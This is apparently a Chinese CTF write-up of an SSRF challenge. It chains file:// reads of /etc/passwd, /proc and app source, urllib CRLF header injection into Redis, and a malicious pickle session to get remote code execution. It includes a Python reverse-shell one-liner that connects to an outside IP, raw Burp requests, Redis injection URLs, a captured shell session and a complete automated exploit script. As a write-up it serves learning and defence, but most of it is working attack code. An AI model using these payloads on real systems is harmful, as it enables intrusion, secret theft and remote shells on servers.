基本知识
ssrf
这还是第一次做关于ssrf的题目,ssrf就是服务器实现了一个可以发起url请求的功能,而这个url参数可以被控制,从而导致了服务器根据输入的参数去发起了一个恶意请求,就叫ssrf(Server-Side Request Forgery 服务端请求伪造)。比如一个web服务可以根据url翻译一个网页,那么这个服务就会根据这个url去访问这个网页,所以这个功能一般提交的url是http协议,但是如果实现的并不安全,这里我们可以传入其他协议的url,比如file,gopher等协议,这是就可能导致一些敏感信息的泄露。另外服务器本身这台机器可能处于一个网络边界,那么可能就会有多张网卡,构造的恶意请求会被服务器发起,这时便可以利用ssrf扫描内网,获取进一步信息。
- php通常的后端实现函数为:file_get_contents,fsockopen,curl_exec
- python通常使用urllib库
相关参考:
- SSRF-ctfwiki
- SSRF-websec
- 了解SSRF,这一篇就足够了
- SSRF 学习记录
- SSRF 学习笔记
- SSRF 学习笔记
- SSRF总结
- SSRF漏洞学习
- SSRF突破边界
- SSRF绕过方法总结
- 谈一谈如何在Python开发中拒绝SSRF漏洞
- PHP开发中防御SSRF
- 利用 Gopher 协议拓展攻击面
redis
redis为一个非关系型数据库,存储采用key-value的形式,在linux
gopher
虽然本题与gopher无关,但还是想要介绍一下gopher
python反序列化
利用ssrf通过file协议泄露文件
随意登录后,有一个请求地址的输入框,猜测是一个ssrf漏洞,测试常见协议:http,gopher,dict,file,php等。测试后发现支持file,估计可以读取文件。不支持gopher(没看回包,用gopher打了两天),不支持php,应该不是php写的web。
常用文件
尝试利用file协议去读取本地文件,首先测试操作系统:
file:///etc/passwd linux
file:///C:\Windows\win.ini windows
常用linux文件:
file:///etc/passwd 获得用户信息
file:///etc/hosts 获得主机网络配置
file:///proc/self/cmdline 获得当前进程启动命令
file:///proc/self/maps 获得当前进程内存布局
file:///proc/net/arp 获得内网机器信息
file:///proc/net/tcp 获得tcp端口信息
file:///proc/cpuinfo 获得cpu信息
file:///proc/version 获得系统版本信息
file:///flag 猜测flag
本题思
- 首先通过 file:///proc/self/cmdline 获得如下配置信息
uwsgi--ini/app/app.ini
- 然后通过配置文件 file:///app/app.ini 获得启动信息
[uwsgi]
http = 0.0.0.0:7002
pythonpath = /app
wsgi-file = /app/main.py
callable = app
processes = 1
threads = 10
# daemonize = /tmp/app.log
uid = 1001
gid = 1001
- 最后通过 file:///app/main.py 拿到python源码
import urllib
import urllib.request
import urllib.error
from flask import Flask, session, request, redirect, url_for, render_template
from session import Session
from redis import Redis
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = Redis(host='127.0.0.1', port=6379)
app.config['SESSION_USE_SIGNER'] = True
app.config['SECRET_KEY'] = 'aik5geithie1cii1euCee1xohhupheiL'
app.config['SESSION_PERMANENT'] = False
app.config['PERMANENT_SESSION_LIFETIME'] = 3600
Session(app)
@app.route('/')
def index():
if not session.get('username', None):
return redirect(url_for('login'))
return render_template('index.html',username=session.get('username'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
if username.strip():
session['username'] = username
return redirect(url_for('index'))
return redirect(url_for('login'))
if request.method=="GET":
return render_template('login.html')
@app.route('/download/', methods=['POST'])
def download():
if not session.get('username', None):
return redirect(url_for('login'))
if request.method == 'POST':
url = request.form["url"]
try:
res = urllib.request.urlopen(url)
return res.read().decode('utf-8')
except Exception as e:
return str(e)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=False)
python审计
通过分析源码可知,ssrf的漏洞点的后端实现为urllib,然后又用到了redis,且flask的session是用redis存储的,那么有如下两个思路控制redis:
- 利用ssrf漏洞点,使用gopher协议,控制redis
- 利用ssrf漏洞点,使用urllib的头注入,控制redis
控制redis之后,有如下两个思路命令执行;
- 利用redis的备份文件功能,写入用户的crontab文件,从而执行命令或者反弹shell
- 本题的用户的session是python的序列化格式存入redis中,故可构造恶意的session写入redis中,当再次使用这个用户访问时,即可触发反序列化,进而命令执行
经过测试,本题不仅不支持gopher协议,也没有crontab,故只能使用urllib头注入,然后构造恶意的序列化session这个思路。
urllib头注入
python的urllib库爆出过一组url的头注入,大概意思就是在url里可以构造CRLF(\r\n)(%0d%0a),使得url中部分的数据被处理到请求头中,导致头注入,测试如下:
- CVE-2016-5699(失败):
http://[vps-ip]%0d%0aX-injected:%20header:8888
- CVE-2019-9740(失败):
http://[vps-ip]%0d%0a%0d%0aheaders:8888
- CVE-2019-9947(成功):
http://[vps-ip]:8080?%0d%0apayload%0d%0apadding
构造如下burp请求:
POST /download/ HTTP/1.1
Host: 47.93.12.191:7002
Content-Length: 56
Accept: */*
Origin: http://47.93.12.191:7002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.93.12.191:7002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=d11dd213-7e07-42b9-81be-31531f7fbbfa.BPuavI7NwQ4CvtwE8bAP4u0cQMY; BD_UPN=123253
Connection: close
url=http://183.172.25.54:8888?%0d%0apayload%0d%0apadding
服务器收到响应:
➜ nc -l 8888
GET /?
payload
padding HTTP/1.1
Accept-Encoding: identity
Host: 183.172.25.54:8888
User-Agent: Python-urllib/3.7
Connection: close
可见已经成功的完整控制了url请求中的一行(payload那行),这样的话我们就可以把这条请求发给redis服务的端口,除了payload的错误指令虽然不会执行成功,但是并不会干扰正确的指令执行。
控制redis
首先通过读取文件:file:///proc/net/tcp,能读到这个地址,0100007F:18EB,0x18EB为6379,即为redis的默认端口。
尝试,利用KEYS *命令获得所有key:
url=http://183.172.25.54:6379?%0d%0aKEYS%20*%0d%0apadding
用服务器测试payload是这样的
GET /?
KEYS *
padding HTTP/1.1
Accept-Encoding: identity
Host: 183.172.25.54:6379
User-Agent: Python-urllib/3.7
Connection: close
修改地址为127.0.0.1,攻击web服务器本身
url=http://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding
但是发现返回了一个$-1,可能只有第一条的回显,也可能是只指执行了第一条GET /?,这条肯定失败。那么如何测试是否控制redis成功呢?这里采用利用redis的备份命令去写一个文件,然后再去利用ssrf处的file协议读取,如果读取成功则说明控制成功,redis命令如下:
config set dir /tmp
config set dbfilename xuanxuan
save
构造成头注入的url格式如下:
url=http://127.0.0.1:6379?%0d%0aconfig%20set%20dir%20/tmp%0d%0aconfig%20set%20dbfilename%20xuanxuan%0d%0asave%0d%0apadding
然后利用file协议访问:
url=file:///tmp/xuanxuan
返回为:
‘utf-8’ codec can’t decode byte 0xfa in position 9: invalid start byte
说明文件成功写入,只是因为编码问题不可读取。虽然不能读到,但是至少证明了控制redis成功!
flask-session的redis存储
因为编码问题,拿不到备份的数据库,所以自己本地搭了一下这个环境。因为题目环境是python3(从http的返回头可以看出),我这里用的是python2,所以精简了一下代码,然后把session这个库换成了flask_session(猜的,我也不知道库名这玩意去哪查,也许是pip search),然后安装如下库:
sudo pip install flask
sudo pip install Flask-Session
sudo pip install redis
from flask import Flask, session, request, redirect, url_for, render_template
from flask_session import Session
from redis import Redis
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = Redis(host='127.0.0.1', port=6379)
app.config['SESSION_USE_SIGNER'] = True
app.config['SECRET_KEY'] = 'aik5geithie1cii1euCee1xohhupheiL'
app.config['SESSION_PERMANENT'] = False
app.config['PERMANENT_SESSION_LIFETIME'] = 3600
Session(app)
@app.route('/')
def login():
session['username'] = 'xuanxuan'
return "hello"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=False)
启动:
➜ Desktop python pyweb.py
* Serving Flask app "pyweb" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [15/Oct/2019 09:57:02] "HEAD / HTTP/1.1" 200 -
访问本地,查看数据库变化情况:
➜ ~ redis-cli
127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379>
➜ ~ curl -I "http://127.0.0.1:5000"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5
Set-Cookie: session=cbba8859-c6c3-45d4-b19c-ecc77cd69db9.B6WuiBxi1qe9mCJR9UMHe9Lma3M; HttpOnly; Path=/
Server: Werkzeug/0.16.0 Python/2.7.12
Date: Tue, 15 Oct 2019 16:57:02 GMT
➜ ~ redis-cli
127.0.0.1:6379> keys *
1) "session:cbba8859-c6c3-45d4-b19c-ecc77cd69db9"
127.0.0.1:6379> get session:cbba8859-c6c3-45d4-b19c-ecc77cd69db9
"(dp1\nS'username'\np2\nS'xuanxuan'\np3\ns."
127.0.0.1:6379>
发现session存储的是利用python的序列化字符串存在redis里的,故当我们携带session访问时,就会反序列化读到我们的信息,这里是username。而且所以session存储的key就是session:加上cookie中的session值(点之前),故生成一个反弹shell的python反序列化payload,然后覆盖我们自己的session,然后重新访问网页即可触发反序列化漏洞。
利用python反序列化攻击session
不过测试无法只利用一个用户修改自己的session,这里采用a用户修改b用户的session,然后再用b的session去访问网页,即可触发漏洞,利用发方法如下:
首先用nc开启监听端口:
➜ nc -l 8888
然后生成python反序列化的反弹shell的payload:
import cPickle
import os
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("183.172.25.54",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
print s.replace("\n",'\\n').replace("\"","\\\"")
payload如下:
cposix\nsystem\np1\n(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"183.172.25.54\",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''\np2\ntRp3\n.
利用a用户(8362245b)去修改另一个b用户(d11dd213)的session
POST /download/ HTTP/1.1
Host: 47.93.12.191:7002
Content-Length: 370
Accept: */*
Origin: http://47.93.12.191:7002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.93.12.191:7002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=8362245b-b150-4ec4-9580-ce41199a2ee6.ribkYinQThE-ex26rLtYhRi8Lkw;BD_UPN=123253
Connection: close
url=http://127.0.0.1:6379?%0d%0aset "session:d11dd213-7e07-42b9-81be-31531f7fbbfa" "cposix\nsystem\np1\n(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"183.172.25.54\",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''\np2\ntRp3\n."%0d%0apadding
利用b用户(d11dd213)的session登录,触发反序列化漏洞
GET / HTTP/1.1
Host: 47.93.12.191:7002
Accept: */*
Origin: http://47.93.12.191:7002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Referer: http://47.93.12.191:7002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=d11dd213-7e07-42b9-81be-31531f7fbbfa.BPuavI7NwQ4CvtwE8bAP4u0cQMY; BD_UPN=123253
Connection: close
即可触发反连,获得shell
➜ nc -l 8888
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/bash')" # 优化tty
bash: /root/.bashrc: Permission denied
uwsgi@c20357aa5138:/$ ls
ls
aeh0iephaeshi9eepha6ilaekahhoh9o_flag boot home media proc sbin tmp
app dev lib mnt root srv usr
bin etc lib64 opt run sys var
uwsgi@c20357aa5138:/$ cat ae*
cat ae*
THUCTF{22xxr2sdcvsdg43tr4vdccc}
当然也可以不反弹shell,可以直接利用输出重定向,把命令输出写到一个文件里,然后在利用file协议读取即可,payload如下:
url=http://127.0.0.1:6379?%0d%0aset "session:d11dd213-7e07-42b9-81be-31531f7fbbfa" "cposix\nsystem\np1\n(S'echo `ls` > /tmp/xuan'\np2\ntRp3\n."%0d%0apadding
完整exp
直接用python脚本实现的exp,而且这里我的环境是校园内网,服务器是直接能访问到本机的,所以直接在本地起了nc,shell可以直接弹回本机
#!/usr/bin/env python
# -- coding:utf-8 --
# Author: xuanxuan
# Date: 2019-10-13
import cPickle
import requests
import os,time
import platform
base_url = "http://47.93.12.191:7002"
server_ip = "183.172.81.163"
server_port = 8888
shellcode = ""
def gen_shellcode():
global shellcode
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server_ip",server_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
shellcode = s.replace("\n",'\\n').replace("\"","\\\"").replace("server_ip",server_ip).replace("server_port",str(server_port))
# 需要本机可被目标机器寻址,之后可以手动优化shell: python -c "import pty;pty.spawn('/bin/bash')"
def open_nc():
myos = platform.platform()
if "Darwin" in myos:
f = open("nclocal.sh","w+")
f.write("nc -l "+str(server_port)+"\n")
f.close()
os.system("chmod +x nclocal.sh")
os.system("open -a Terminal.app nclocal.sh")
time.sleep(2)
os.system("rm -rf nclocal.sh")
elif "Linux" in myos:
os.system("gnome-terminal -e 'bash -c \"nc -l "+str(server_port)+"\"'")
def attack():
a = requests.session()
r1 = a.post(base_url+'/login/', data = {'username':'xuan'})
b = requests.session()
r2 = b.post(base_url+'/login/', data = {'username':'bling'})
mysession = r2.cookies['session'][0:36]
payload = "http://127.0.0.1:6379?\r\nset \"session:"+mysession+"\" \""+shellcode+"\"\r\npadding"
a.post(base_url+'/download/',data = {'url':payload})
b.get(base_url)
if __name__ == '__main__':
gen_shellcode()
open_nc()
attack()